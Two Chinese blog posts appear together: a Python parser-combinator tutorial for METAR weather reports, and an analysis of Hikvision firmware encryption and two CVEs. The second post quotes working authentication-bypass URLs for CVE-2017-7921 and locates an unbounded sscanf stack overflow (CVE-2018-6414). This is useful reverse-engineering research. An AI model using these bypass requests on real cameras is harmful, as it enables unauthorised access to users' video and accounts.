In computer programming, a parser combinator is a higher-order function that accepts several parsers as input and returns a new parser as its output. In this context, a parser is a function accepting strings as input and returning some structure as output, typically a parse tree or a set of indices representing locations in the string where parsing stopped successfully.</p>
</blockquote>
辅助函数</h2>
下面是最基本的框架，定义了语法分析器的输入，输出类型。</p>
from</span> typing</span> import</span> NamedTuple</span>,</span> Callable</span>,</span> Any</span>,</span> Optional</span></span>
</span>
</span>
class</span> Stream</span>(</span>NamedTuple</span>)</span>:</span></span>
    src</span>:</span> str</span></span>
    idx</span>:</span> int</span></span>
</span>
</span>
class</span> OutputValue</span>(</span>NamedTuple</span>)</span>:</span></span>
    stream</span>:</span> Stream</span></span>
    value</span>:</span> Any</span></span>
</span>
Result</span> =</span> OutputValue</span> |</span> None</span></span>
Parser</span> =</span> Callable</span>[</span>[</span>Stream</span>]</span>,</span> Result</span>]</span></span></code></pre>Parser</h3>
下面的 parser 函数生成了一个解析单个字符的 parser。这个 parser 在字符匹配时，返回结果，否则将返回 None。</p>
def</span> char</span>(</span>ch</span>:</span> str</span>)</span> -></span> Parser</span>:</span></span>
    """</span>Consume a char</span>"""</span></span>
</span>
    def</span> parser</span>(</span>s</span>:</span> Stream</span>)</span> -></span> Result</span>:</span></span>
        return</span> (</span></span>
            OutputValue</span>(</span>Stream</span>(</span>s</span>.</span>src</span>,</span> s</span>.</span>idx</span> +</span> 1</span>)</span>,</span> s</span>.</span>src</span>[</span>s</span>.</span>idx</span>]</span>)</span></span>
            if</span> s</span>.</span>idx</span> <</span> len</span>(</span>s</span>.</span>src</span>)</span> and</span> s</span>.</span>src</span>[</span>s</span>.</span>idx</span>]</span> ==</span> ch</span></span>
            else</span> None</span></span>
        )</span></span>
</span>
    return</span> parser</span></span></code></pre>
运行效果如下，可以看到在解析成功时，返回了 OutputValue</code> 参数，解析失败时返回了 None.</p>
>></span>></span> parse_a</span> =</span> char</span>(</span>"</span>a</span>"</span>)</span></span>
>></span>></span> parse_a</span>(</span>Stream</span>(</span>"</span>abcd</span>"</span>,</span> 0</span>)</span>)</span></span>
OutputValue</span>(</span>stream</span>=</span>Stream</span>(</span>src</span>=</span>'</span>abcd</span>'</span>,</span> idx</span>=</span>1</span>)</span>,</span> value</span>=</span>'</span>a</span>'</span>)</span></span>
>></span>></span> parse_a</span>(</span>Stream</span>(</span>"</span>bcd</span>"</span>,</span> 0</span>)</span>)</span></span>
>></span>></span> </span></span></code></pre>
同理，我们可以写出解析一个 identifier 的 parser，这里省略。</p>
def</span> identifier</span>(</span>ch</span>:</span> str</span>)</span> -></span> Parser</span>:</span></span>
    """</span>Consume a identifier</span>"""</span></span>
    ...</span></span></code></pre>Combinator</h3>
下面的 combinator 函数可以将不同的 parser 组合起来。例如 or_</code> parser combinator 是将 p1</code> 或者 p2</code> parser 组合起来，返回的新 parser 能在使用 p1</code> parser 解析失败后使用 p2</code> parser 进行解析。and_</code> 类似。</p>
one_or_more</code> parser combinator 则是使用一个 parser 解析 1 到多次，实现代码也非常简单。先尝试用 p</code> parser 解析 1 次，然后再解析到 p</code> parser 解析不了为止，最后返回解析结果。同理可以写出 zero_or_more</code> 和 n_or_more</code>。</p>
def</span> or_</span>(</span>p1</span>:</span> Parser</span>,</span> p2</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    def</span> parser</span>(</span>input_</span>:</span> Stream</span>)</span> -></span> Result</span>:</span></span>
        return</span> p1</span>(</span>input_</span>)</span> or</span> p2</span>(</span>input_</span>)</span></span>
</span>
    return</span> parser</span></span>
</span>
</span>
def</span> and_</span>(</span>p1</span>:</span> Parser</span>,</span> p2</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    def</span> parser</span>(</span>input_</span>:</span> Stream</span>)</span> -></span> Result</span>:</span></span>
        if</span> r</span> :=</span> p1</span>(</span>input_</span>)</span>:</span></span>
            if</span> r2</span> :=</span> p2</span>(</span>r</span>.</span>stream</span>)</span>:</span></span>
                return</span> OutputValue</span>(</span>r2</span>.</span>stream</span>,</span> flatten</span>(</span>[</span>r</span>.</span>value</span>,</span> r2</span>.</span>value</span>]</span>)</span>)</span></span>
        return</span> None</span></span>
</span>
    return</span> parser</span></span>
</span>
</span>
def</span> one_or_more</span>(</span>p</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    """</span>Use parser to consume one or more chars</span>"""</span></span>
</span>
    def</span> parser</span>(</span>input_</span>:</span> Stream</span>)</span> -></span> Result</span>:</span></span>
        ret</span> =</span> [</span>]</span></span>
        inp</span>:</span> Stream</span> |</span> None</span> =</span> None</span></span>
        if</span> curr</span> :=</span> p</span>(</span>input_</span>)</span>:</span></span>
            inp</span> =</span> curr</span>.</span>stream</span></span>
            ret</span>.</span>append</span>(</span>curr</span>)</span></span>
        else</span>:</span></span>
            return</span> None</span></span>
        while</span> curr</span> :=</span> p</span>(</span>inp</span>)</span>:</span></span>
            inp</span> =</span> curr</span>.</span>stream</span></span>
            ret</span>.</span>append</span>(</span>curr</span>)</span></span>
        return</span> OutputValue</span>(</span>inp</span>,</span> flatten</span>(</span>[</span>i</span>.</span>value</span> for</span> i</span> in</span> ret</span>]</span>)</span>)</span></span>
</span>
    return</span> parser</span></span>
</span>
</span>
def</span> zero_or_more</span>(</span>p</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    """</span>Use parser to consume zero or more chars</span>"""</span></span>
    ...</span></span>
</span>
</span>
def</span> n_or_more</span>(</span>n</span>:</span> int</span>,</span> p</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    ...</span></span></code></pre>
下面的 combinator 函数则是组合更多个 parser。例如 any_</code>，是通过多个 or_</code> 将 parser 组合起来，达到满足其中一个 parser 能解析就返回解析结果的效果。</p>
def</span> any_</span>(</span>*</span>args</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    return</span> reduce</span>(</span>or_</span>,</span> args</span>)</span></span>
</span>
</span>
def</span> and_then</span>(</span>*</span>args</span>:</span> Parser</span>)</span> -></span> Parser</span>:</span></span>
    """</span>Consume chars with parser in args</span>"""</span></span>
    return</span> reduce</span>(</span>and_</span>,</span> args</span>)</span></span></code></pre>
下面的 combinator 函数则是辅助函数，any_char</code> 是匹配 ch</code> 中任意字符，而 map_</code> 是将 parser 的输出结果传递给函数进行处理。</p>
def</span> any_char</span>(</span>ch</span>:</span> str</span>)</span> -></span> Parser</span>:</span></span>
    def</span> parser</span>(</span>input_</span>:</span> Stream</span>)</span>:</span></span>
        return</span> any_</span>(</span>*</span>map</span>(</span>char</span>,</span> ch</span>)</span>)</span>(</span>input_</span>)</span></span>
</span>
    return</span> parser</span></span>
</span>
</span>
def</span> map_</span>(</span>parser</span>:</span> Parser</span>,</span> fn</span>:</span> Callable</span>)</span> -></span> Parser</span>:</span></span>
    def</span> p</span>(</span>input_</span>:</span> Stream</span>)</span>:</span></span>
        if</span> out</span> :=</span> parser</span>(</span>input_</span>)</span>:</span></span>
            return</span> OutputValue</span>(</span>out</span>.</span>stream</span>,</span> fn</span>(</span>out</span>.</span>value</span>)</span>)</span></span>
</span>
    return</span> p</span></span></code></pre>解析报文</h2>
这里只讲部分报文片段的解析。</p>
开头</h3>
METAR 报文的开头可以是 "METAR" 或者 "METAR/SPECI"，那么解析报文的 parser 如下。</p>
def</span> metar_expr</span>(</span>)</span> -></span> Parser</span>:</span></span>
    metar</span> =</span> identifier</span>(</span>"</span>METAR</span>"</span>)</span></span>
    slash</span> =</span> char</span>(</span>"</span>/</span>"</span>)</span></span>
    speci</span> =</span> identifier</span>(</span>"</span>SPECI</span>"</span>)</span></span>
    return</span> and_</span>(</span>metar</span>,</span> zero_or_more</span>(</span>and_</span>(</span>slash</span>,</span> speci</span>)</span>)</span>)</span></span></code></pre>
调用效果如下。</p>
>></span>></span> metar_expr</span>(</span>)</span>(</span>Stream</span>(</span>"</span>METAR/SPECI</span>"</span>,</span> 0</span>)</span>)</span></span>
OutputValue</span>(</span>stream</span>=</span>Stream</span>(</span>src</span>=</span>'</span>METAR/SPECI</span>'</span>,</span> idx</span>=</span>11</span>)</span>,</span> value</span>=</span>[</span>'</span>METAR</span>'</span>,</span> '</span>/</span>'</span>,</span> '</span>SPECI</span>'</span>]</span>)</span></span>
>></span>></span> metar_expr</span>(</span>)</span>(</span>Stream</span>(</span>"</span>METAR</span>"</span>,</span> 0</span>)</span>)</span></span>
OutputValue</span>(</span>stream</span>=</span>Stream</span>(</span>src</span>=</span>'</span>METAR</span>'</span>,</span> idx</span>=</span>5</span>)</span>,</span> value</span>=</span>[</span>'</span>METAR</span>'</span>]</span>)</span></span>
>></span>></span> </span></span></code></pre>风</h3>
下面是我最关心的天气要素：风。风相关的报文类似 "10009G19KT"，前 3 个数字代表风向，后 2 个数字代表风速，如果这 5 个数字后面有 "G" 的话，则后面 2 个数字是阵风；最后是单位，单位有 MPS/KT/KMH。所以解析代码如下。</p>
class</span> WindExpr</span>(</span>NamedTuple</span>)</span>:</span></span>
    direction</span>:</span> str</span></span>
    speed</span>:</span> str</span></span>
    unit</span>:</span> str</span></span>
    g</span>:</span> Optional</span>[</span>str</span>]</span> =</span> None</span></span>
</span>
</span>
def</span> wind_expr</span>(</span>)</span> -></span> Parser</span>:</span></span>
    digit</span> =</span> digit_expr</span>(</span>)</span></span>
    mps</span> =</span> identifier</span>(</span>"</span>MPS</span>"</span>)</span></span>
    kt</span> =</span> identifier</span>(</span>"</span>KT</span>"</span>)</span></span>
    kmh</span> =</span> identifier</span>(</span>"</span>KMH</span>"</span>)</span></span>
    g</span> =</span> and_then</span>(</span>char</span>(</span>"</span>G</span>"</span>)</span>,</span> map_</span>(</span>n_or_more</span>(</span>2</span>,</span> digit</span>)</span>,</span> join</span>)</span>)</span></span>
</span>
    direc</span> =</span> map_</span>(</span>or_</span>(</span>n_or_more</span>(</span>3</span>,</span> digit</span>)</span>,</span> identifier</span>(</span>"</span>VRB</span>"</span>)</span>)</span>,</span> join</span>)</span></span>
    speed</span> =</span> map_</span>(</span>n_or_more</span>(</span>2</span>,</span> digit</span>)</span>,</span> join</span>)</span></span>
    return</span> map_</span>(</span></span>
        and_then</span>(</span></span>
            direc</span>,</span></span>
            speed</span>,</span></span>
            zero_or_more</span>(</span>g</span>)</span>,</span></span>
            any_</span>(</span>mps</span>,</span> kt</span>,</span> kmh</span>)</span>,</span></span>
        )</span>,</span></span>
        lambda</span> v</span>:</span> WindExpr</span>(</span>v</span>[</span>0</span>]</span>,</span> v</span>[</span>1</span>]</span>,</span> v</span>[</span>-</span>1</span>]</span>,</span> v</span>[</span>3</span>]</span> if</span> v</span>[</span>2</span>]</span> ==</span> "</span>G</span>"</span> else</span> None</span>)</span>,</span></span>
    )</span></span></code></pre>
解析效果如下。</p>
>></span>></span> wind_expr</span>(</span>)</span>(</span>Stream</span>(</span>"</span>10009G19KT</span>"</span>,</span> 0</span>)</span>)</span></span>
OutputValue</span>(</span>stream</span>=</span>Stream</span>(</span>src</span>=</span>'</span>10009G19KT</span>'</span>,</span> idx</span>=</span>10</span>)</span>,</span> value</span>=</span>WindExpr</span>(</span>direction</span>=</span>'</span>100</span>'</span>,</span> speed</span>=</span>'</span>09</span>'</span>,</span> unit</span>=</span>'</span>KT</span>'</span>,</span> g</span>=</span>'</span>19</span>'</span>)</span>)</span></span>
>></span>></span> </span></span></code></pre>结合在一起</h3>
将多个 parser 结合在一起，即可解析整个报文。</p>
def</span> full_expr</span>(</span>)</span> -></span> Parser</span>:</span></span>
    return</span> one_or_more</span>(</span></span>
        and_then</span>(</span></span>
            any_</span>(</span></span>
                metar_expr</span>(</span>)</span>,</span></span>
                identifier</span>(</span>"</span>CAVOK</span>"</span>)</span>,</span>  #</span> Put this before ICAO Parser</span></span>
                trend_expr</span>(</span>)</span>,</span></span>
                icao_expr</span>(</span>)</span>,</span></span>
                time_expr</span>(</span>)</span>,</span></span>
                wind_expr</span>(</span>)</span>,</span></span>
                wind_vary_expr</span>(</span>)</span>,</span></span>
                wind_shear_expr</span>(</span>)</span>,</span></span>
                visibility_expr</span>(</span>)</span>,</span></span>
                runway_expr</span>(</span>)</span>,</span></span>
                weather_expr</span>(</span>)</span>,</span></span>
                cloud_expr</span>(</span>)</span>,</span></span>
                tmpr_expr</span>(</span>)</span>,</span></span>
                pres_expr</span>(</span>)</span>,</span></span>
            )</span>,</span></span>
            or_</span>(</span>char</span>(</span>"</span> "</span>)</span>,</span> char</span>(</span>"</span>=</span>"</span>)</span>)</span>,</span></span>
        )</span></span>
    )</span></span></code></pre>
解析报文效果如下。</p>
>></span>></span> report</span> =</span> "</span>METAR/SPECI ZUCK 221630Z 24002MPS 0600 R02L/1000U FZFG SCT010 M02/M02 Q1018 BECMG TL1700 0800 BECMG AT1800 3000 BR=</span>"</span></span>
>></span>></span> metar_parser</span> =</span> full_expr</span>(</span>)</span></span>
>></span>></span> metar_parser</span>(</span>Stream</span>(</span>report</span>,</span> 0</span>)</span>)</span></span>
OutputValue</span>(</span>stream</span>=</span>Stream</span>(</span>src</span>=</span>'</span>METAR/SPECI ZUCK 221630Z 24002MPS 0600 R02L/1000U FZFG SCT010 M02/M02 Q1018 BECMG TL1700 0800 BECMG AT1800 3000 BR=</span>'</span>,</span> idx</span>=</span>115</span>)</span>,</span> value</span>=</span>[</span>'</span>METAR</span>'</span>,</span> '</span>/</span>'</span>,</span> '</span>SPECI</span>'</span>,</span> '</span> '</span>,</span> '</span>ZUCK</span>'</span>,</span> '</span> '</span>,</span> DateExpr</span>(</span>day</span>=</span>'</span>22</span>'</span>,</span> time</span>=</span>'</span>1630</span>'</span>)</span>,</span> '</span> '</span>,</span> WindExpr</span>(</span>direction</span>=</span>'</span>240</span>'</span>,</span> speed</span>=</span>'</span>02</span>'</span>,</span> unit</span>=</span>'</span>MPS</span>'</span>,</span> g</span>=</span>None</span>)</span>,</span> '</span> '</span>,</span> VisibilityExpr</span>(</span>num</span>=</span>'</span>0600</span>'</span>)</span>,</span> '</span> '</span>,</span> (</span>'</span>R</span>'</span>,</span> '</span>02L</span>'</span>,</span> '</span>/</span>'</span>,</span> '</span>1000U</span>'</span>)</span>,</span> '</span> '</span>,</span> '</span>FZFG</span>'</span>,</span> '</span> '</span>,</span> CloudExpr</span>(</span>desc</span>=</span>'</span>SCT</span>'</span>,</span> num</span>=</span>'</span>010</span>'</span>,</span> cb</span>=</span>None</span>)</span>,</span> '</span> '</span>,</span> TemperatureExpr</span>(</span>temperature</span>=</span>'</span>M02</span>'</span>,</span> dew</span>=</span>'</span>M02</span>'</span>)</span>,</span> '</span> '</span>,</span> PressureExpr</span>(</span>unit</span>=</span>'</span>Q</span>'</span>,</span> num</span>=</span>'</span>1018</span>'</span>)</span>,</span> '</span> '</span>,</span> '</span>BECMG</span>'</span>,</span> '</span> '</span>,</span> '</span>TL1700</span>'</span>,</span> '</span> '</span>,</span> VisibilityExpr</span>(</span>num</span>=</span>'</span>0800</span>'</span>)</span>,</span> '</span> '</span>,</span> '</span>BECMG</span>'</span>,</span> '</span> '</span>,</span> '</span>AT1800</span>'</span>,</span> '</span> '</span>,</span> VisibilityExpr</span>(</span>num</span>=</span>'</span>3000</span>'</span>)</span>,</span> '</span> '</span>,</span> (</span>'</span>BR</span>'</span>,</span>)</span>,</span> '</span>=</span>'</span>]</span>)</span></span></code></pre>碰到的问题</h3>
可能是因为二义性的问题，在解析 ICAO 片段时，会和解析 "CAVOK" identifier 冲突，所以将解析 "CAVOK" identifier 的优先级提前来解决。</p>
def</span> test_failed_llk</span>(</span>)</span>:</span></span>
    """</span>Because of the limit of LL(k), this case will failed.</span>"""</span></span>
    p</span> =</span> and_then</span>(</span>or_</span>(</span>icao_expr</span>(</span>)</span>,</span> identifier</span>(</span>"</span>CAVOK</span>"</span>)</span>)</span>,</span> char</span>(</span>"</span> "</span>)</span>)</span></span>
    assert</span> p</span>(</span>Stream</span>(</span>"</span>CAVOK </span>"</span>,</span> 0</span>)</span>)</span> ==</span> None</span></span>
    p</span> =</span> and_then</span>(</span>or_</span>(</span>identifier</span>(</span>"</span>CAVOK</span>"</span>)</span>,</span> icao_expr</span>(</span>)</span>)</span>,</span> char</span>(</span>"</span> "</span>)</span>)</span></span>
    assert</span> p</span>(</span>Stream</span>(</span>"</span>CAVOK </span>"</span>,</span> 0</span>)</span>)</span> !=</span> None</span></span></code></pre>总结</h2>
Parser combinator 能让手动编写 parser 变得简单一些，并且能应付解析简单的语法的情况，所以花点时间来学习还是挺好的。</p>
最后代码在这</a>。</p>
Refs</h2>

Building a tiny little broken calculator with parser combinators</a></li>
Learning Parser Combinators With Rust</a></li>
This is how you read a METAR</a></li>
</ul>


海康威视 固件格式/历史漏洞 分析
2023-03-11T00:00:00+00:00
高中时候曾经当过一段时间的脚本小子，通过 CVE-2017-7921 拿下过一波摄像头，体验了一把游戏看门狗里的感觉。所以在今天，在掌握了一定的技术之后，我将尝试对海康威视的固件进行重新分析。</p>
固件下载</h2>
https://www.hikvisioneurope.com/eu/portal/</a>，我使用的是 R0 和 R6 的固件。</p>
固件格式</h2>
海康威视的固件可能有几种格式。在对文件开头进行 xor 运算之后，得到的文件开头如果是 0x484b5753("HKWS") 的话，那么固件本身是没有被加密的，可以通过文件头，得到固件中包含的文件名字和文件偏移。有一种格式是文件开头为 0x484b3230(HK20)，再通过 xor 运算解密后面的文件内容时，才会出现 0x484b5753 字段，如下图所示。</p>
Magic: 484b3230, Size: 152, Checksum: 29ca, Count: 0</span></span>
 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  0123456789abcdef</span></span>
30 32 4b 48 ca 29 00 00 98 00 00 00 00 00 00 00  02KHÊ           </span></span>
82 1d 53 01 02 00 00 00 ff ff ff ff ff ff ff ff    S     ÿÿÿÿÿÿÿÿ</span></span>
ff ff ff ff ff ff ff ff ff ff ff ff 31 31 34 30  ÿÿÿÿÿÿÿÿÿÿÿÿ1140</span></span>
30 35 30 30 33 31 31 31 31 31 31 30 30 31 31 00  050031111110011 </span></span>
31 31 34 30 30 35 30 30 33 31 31 31 31 31 31 30  1140050031111110</span></span>
30 31 31 00 00 00 00 00 00 00 00 00 00 00 00 00  011             </span></span>
98 00 00 00 ed 4c 84 00 d7 ad a4 3d 31 31 34 30      íL      1140</span></span>
30 35 30 30 33 31 31 31 31 31 31 30 30 31 31 00  050031111110011 </span></span>
00 00 00 00 00 00 00 00 00 00 00 00 85 4d 84 00               M  </span></span>
fd cf ce 00 04 58 8b 66    </span></span>
Magic: 484b5753, Size: 240, Checksum: 27e5, Count: 4</span></span>
 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  0123456789abcdef</span></span>
53 57 4b 48 e5 27 00 00 f0 00 00 00 04 00 00 00  SWKHå   ð       </span></span>
01 00 00 00 02 00 00 00 01 00 00 00 ff ff ff ff              ÿÿÿÿ</span></span>
ed 4c 84 00 48 99 02 00 29 00 04 05 31 31 34 30  íL  H       1140</span></span>
30 35 30 30 33 31 31 31 31 31 31 30 30 31 31 00  050031111110011 </span></span>
5f 63 66 67 55 70 67 53 65 63 50 6c 73 00 00 00   cfgUpgSecPls   </span></span>
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00                  </span></span>
f0 00 00 00 f4 01 00 00 31 e6 00 00 5f 63 66 67  ð   ô   1æ   cfg</span></span></code></pre>
当然我还碰到了第三种情况，文件的开头是 0x484b3230，而文件后的新文件头为 0x484b3330(HK30) 这种情况下新文件头和固件中的文件是使用 AES-256-ECB 进行加密的。这种情况得需要拆机提取密钥，才能对文件进行解密。</p>
Magic: 484b3230, Size: 108, Checksum: 2902, Count: 0</span></span>
 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  0123456789abcdef</span></span>
30 32 4b 48 02 29 00 00 6c 00 00 00 00 00 00 00  02KH    l       </span></span>
be e9 e9 01 01 00 00 00 ff ff ff ff ff ff ff ff  ¾éé     ÿÿÿÿÿÿÿÿ</span></span>
ff ff ff ff ff ff ff ff ff ff ff ff 31 32 30 30  ÿÿÿÿÿÿÿÿÿÿÿÿ1200</span></span>
30 35 30 30 33 31 31 31 31 31 31 30 30 31 31 00  050031111110011 </span></span>
31 32 30 30 30 35 30 30 33 31 31 31 31 31 31 30  1200050031111110</span></span>
30 31 31 00 fb e5 46 5f 06 cc 44 d1 01 aa 09 ff  011 ûåF  ÌDÑ ª ÿ</span></span>
6c 00 00 00 52 e9 e9 01 b9 d8 09 f4</span></span>
Magic: 484b3330, Size: 3776, Checksum: 7e09e7ea, Count: 55</span></span>
 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  0123456789abcdef</span></span>
30 33 4b 48 ea e7 09 7e c0 0e 00 00 37 00 00 00  03KHêç  À   7   </span></span>
01 00 00 00 02 00 00 00 01 00 00 00 00 03 f1 07                ñ </span></span>
5e cf d7 7d 52 e9 e9 01 e5 9a 02 00 00 00 05 05   Ï  Réé å       </span></span>
00 00 00 00 5c 2c 5a 25 fa 96 56 cd 00 00 00 00        Z ú VÍ    </span></span>
79 61 6f 6a 75 6e 6a 69 65 00 fb e5 46 5f 06 cc  yaojunjie ûåF  Ì</span></span>
44 d1 01 aa 09 ff cb 4c 07 3a 52 00 64 4b b1 1f  DÑ ª ÿËL  R dK  </span></span>
25 00 2b cf 38 a7 00 7e e2 ed 00 5b 05 db 97 c9     Ï8   âí   Û É</span></span>
ce 78 ad 04 1c df 3b 44 0a ba 06 0e b4 71 ed 54  Îx   ß D º   qíT</span></span>
fb e5 46 5f 06 cc 44 d1 01 aa 09 ff cb 4c 07 3a  ûåF  ÌDÑ ª ÿËL  </span></span>
52 00 64 4b b1 1f 25 00 2b cf 38 a7 00 7e e2 ed  R dK     Ï8   âí</span></span>
00 5b 05 db 97 c9 ce 78 ad 04 1c df 3b 44 0a ba     Û ÉÎx   ß D º</span></span>
06 0e b4 71 ed 54 c1 44 08 89 0d 55 ba 2a 35 13     qíTÁD   Uº 5 </span></span>
08 a2 3b 00 52 f3 e0 19 90 20 bd 57 d7 0d bb 46      Róà   ½W   F</span></span>
42 ca da 35 ad e8 79 75 d5 00 d7 56 26 77 6e 61  BÊÚ5 èyuÕ  V wna</span></span>
31 32 30 30 30 35 30 30 33 31 31 31 31 31 31 30  1200050031111110</span></span>
30 31 31 00 fb e5 46 5f 06 cc 44 d1 01 aa 09 ff  011 ûåF  ÌDÑ ª ÿ</span></span>
5f 63 66 67 55 70 67 43 6c 61 73 73 00 74 fd e8   cfgUpgClass týè</span></span>
40 86 67 2d 7c 07 37 57 57 3d c9 d3 37 70 bc 02    g   7WW ÉÓ7p¼ </span></span>
c0 0e 00 00 64 02 00 00 78 5e 63 cc 74 fd e8 40  À   d   x cÌtýè </span></span>
86 67 2d 7c 07 37 57 57 3d c9 d3 37 70 bc 02 5e   g   7WW ÉÓ7p¼  </span></span>
68 49 6d 61 67 65 00 74 fd e8 40 86 67 2d 7c 07  hImage týè  g  </span></span></code></pre>
解密后的文件格式可以参考 Refs</a> 中的 "(转载文章)Hik or hack? (NOT) IoT Security Using Hikvision IP Cameras"，解密固件可以参考 Refs</a> 中的 "HaToan/Decrypt-Firmware-Hikvision" 和 "MatrixEditor/hiktools" 项目。当然，我也写了一个可以解密固件的脚本，比之前的脚本开源工具相比能解密更多的固件格式，也很容易对脚本进行扩展，地址在这</a></p>

在 Refs 我还放了 hikpack 的下载链接，hikpack 可以解密 r0,r1,r6,g0 设备的固件。我本来想看下 hikpack 是怎么进行文件解密的，但是 hikpack 居然用了 OLLVM 混淆，有必要吗...</p>
</blockquote>
CVE-2017-7921</h2>
从 packetstormsecurity 上的邮件可以看到绕过 HIKCGI 权限验证的方法，只要在链接上加上一串以 base64 编码后的 "username:password"</code>，就可以绕过权限检查了。</p>
Vulnerability details:</span></span>
----------------------</span></span>
Hikvision camera API includes support for proprietary HikCGI protocol, which exposes URI endpoints through the camera's web interface. The HikCGI protocol handler checks for the presence of a parameter named "auth" in the query string and if that parameter contains a base64-encoded "username:password" string, the HikCGI API call assumes the idntity of the specified user. The password is ignored.</span></span>
</span>
Virtually all Hikvision products come with a superuser account named "admin", which can be easily impersonated.  For example:</span></span>
</span>
Retrieve a list of all users and their roles:</span></span>
    http://camera.ip/Security/users?auth=YWRtaW46MTEK</span></span>
</span>
Obtain a camera snapshot without authentication:</span></span>
    http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK</span></span></code></pre>
在物理机器上通过 "netstat" 发现处理 HTTP 请求的是 davinci 程序，通过 hikpack 提取并进行解密（！） "davinci.tar.gz" 后得到 davinci 程序。</p>

binwalk -Me 解压未加密的固件时，不一定能得到 "davinci.tar.gz" 这个文件，是因为这个文件被加密了，没有留下 gzip 文件的特征。</p>
</blockquote>
在 5.4.1 版本固件中的 davinci 程序中的相关代码如下。可以从代码中发现，程序从 url 中读取 "auth" 参数的值，并对值进行 base64 解码，将解码后的参数通过 ":" 分割，如果参数中有 password 的话就进入 sub_34A03C</code> 进行校验，最后跳转到 LABEL_2 代表着认证完成。sub_34A03C</code> 函数中未对密码进行校验（至少我看不出来），所以只要 username 填一个存在的用户名就可以绕过认证，例如 root。</p>
在 5.4.5 版本的 hikcgiHandler</code> 中海康删除了这段代码来修复这个漏洞。</p>
int</span> __fastcall </span>hikcgiHandler</span>(</span>int</span> a1</span>)</span> {</span></span>
  //</span> ...</span></span>
  if</span> (</span> !</span>sub_2AF560</span>(</span>*</span>(</span>_DWORD </span>*</span>)</span>(</span>*</span>(</span>_DWORD </span>*</span>)</span>(</span>v23 </span>+</span> 124</span>)</span> +</span> 32</span>)</span>,</span> "</span>auth</span>"</span>,</span> param</span>)</span> )</span></span>
  {</span></span>
    param_len </span>=</span> strlen</span>(</span>param</span>)</span>;</span></span>
    base64_decode</span>(</span>(</span>int</span>)</span>param</span>,</span> param_len</span>,</span> (</span>int</span>)</span>dec_param</span>)</span>;</span>//</span> => EVP_DecodeBlock</span></span>
    pass </span>=</span> strchr</span>(</span>dec_param</span>,</span> '</span>:</span>'</span>)</span>;</span></span>
    if</span> (</span> pass </span>)</span></span>
    {</span></span>
      *</span>pass </span>=</span> 0</span>;</span></span>
      sub_34A03C</span>(</span>v22</span>,</span> dec_param</span>,</span> pass </span>+</span> 1</span>)</span>;</span></span>
      goto</span> LABEL_2</span>;</span></span>
    }</span></span>
  }</span></span>
  //</span> ...</span></span>
}</span></span></code></pre>CVE-2018-6414</h2>
这个漏洞只有网上的一篇文章提到过，然后原文失效了，只能看到一篇翻译的很烂的译文。不过根据截图，我们还是可以通过 搜索汇编/查找 sscanf</code> 的 xref ，在 5.5.0 版本的固件中，来定位到相应的代码。</p>
.text</span>:0024A24E                 </span>MOV</span>             R1, R4  </span>; c</span></span>
.text</span>:0024A250                 </span>MOVS</span>            R2, #</span>0x10</span> ; n</span></span>
.text</span>:0024A252                 </span>ADD</span>             R0, </span>SP</span>, #</span>0x3A8</span>+s1 </span>; s</span></span>
.text</span>:0024A254                 BLX             memset</span></span>
.text</span>:0024A258                 </span>MOV</span>             R1, R4  </span>; c</span></span>
.text</span>:0024A25A                 </span>MOVS</span>            R2, #</span>0x15</span> ; n</span></span>
.text</span>:0024A25C                 </span>ADD</span>             R0, </span>SP</span>, #</span>0x3A8</span>+var_350 </span>; s</span></span>
.text</span>:0024A25E                 BLX             memset</span></span>
.text</span>:0024A262                 </span>ADD</span>             R0, </span>SP</span>, #</span>0x3A8</span>+var_27C </span>; s</span></span>
.text</span>:0024A264                 </span>MOV</span>             R1, R4  </span>; c</span></span>
.text</span>:0024A266                 </span>MOVS</span>            R2, #</span>0x41</span> ; 'A' ; n</span></span>
.text</span>:0024A268                 BLX             memset</span></span>
.text</span>:0024A26C                 LDR.W           R0, [</span>R8</span>,#</span>0x10</span>]</span></span>
.text</span>:0024A270                 CBZ             R0, loc_24A27A</span></span>
.text</span>:0024A272                 LDR             R1, =aTimestampS </span>; "timeStamp=%s"</span></span>
.text</span>:0024A274                 </span>ADD</span>             R2, </span>SP</span>, #</span>0x3A8</span>+s1</span></span>
.text</span>:0024A276                 BLX             __isoc99_sscanf</span></span></code></pre>
看反编译可以看到，程序中在 sscanf</code> 函数中使用了 "%s" 参数将用户输入读入栈中，并且未对输入长度进行限制。</p>
int</span> __fastcall </span>isapi_session_login_basic</span>(</span>int</span> a1</span>,</span> _DWORD </span>*</span>a2</span>,</span> int</span> a3</span>,</span> int</span> a4</span>,</span> int</span> a5</span>)</span> {</span></span>
  //</span> ...</span></span>
  char</span> s1</span>[</span>16</span>]</span>;</span> //</span> [sp+30h] [bp-378h] BYREF</span></span>
  //</span> ...</span></span>
  memset</span>(</span>s1</span>,</span> 0</span>,</span> sizeof</span>(</span>s1</span>)</span>)</span>;</span></span>
  memset</span>(</span>v61</span>,</span> 0</span>,</span> 0x</span>15</span>u</span>)</span>;</span></span>
  memset</span>(</span>v66</span>,</span> 0</span>,</span> 0x</span>41</span>u</span>)</span>;</span></span>
  v6 </span>=</span> a2</span>[</span>4</span>]</span>;</span></span>
  if</span> (</span> v6 </span>)</span></span>
    _isoc99_sscanf</span>(</span>v6</span>,</span> "</span>timeStamp=</span>%s</span>"</span>,</span> s1</span>)</span>;</span></span>
  //</span> ...</span></span>
}</span></span></code></pre>
在 davinci 程序中处理 HTTP 请求的框架是 appweb。通过 appweb 源代码定位到 maCreateHttp</code> 和 initLimits</code> 函数，发现在 davinci 中，URL 的长度限制为 0x400。</p>
_DWORD </span>*</span>__fastcall </span>maCreateHttp</span>(</span>int</span> a1</span>)</span></span>
{</span></span>
  //</span> ...</span></span>
    v2</span>[</span>12</span>]</span> =</span> 0x</span>400</span>;</span></span>
    v2</span>[</span>11</span>]</span> =</span> 0x</span>A00000</span>;</span></span>
  //</span> ...</span></span>
}</span></span></code></pre>
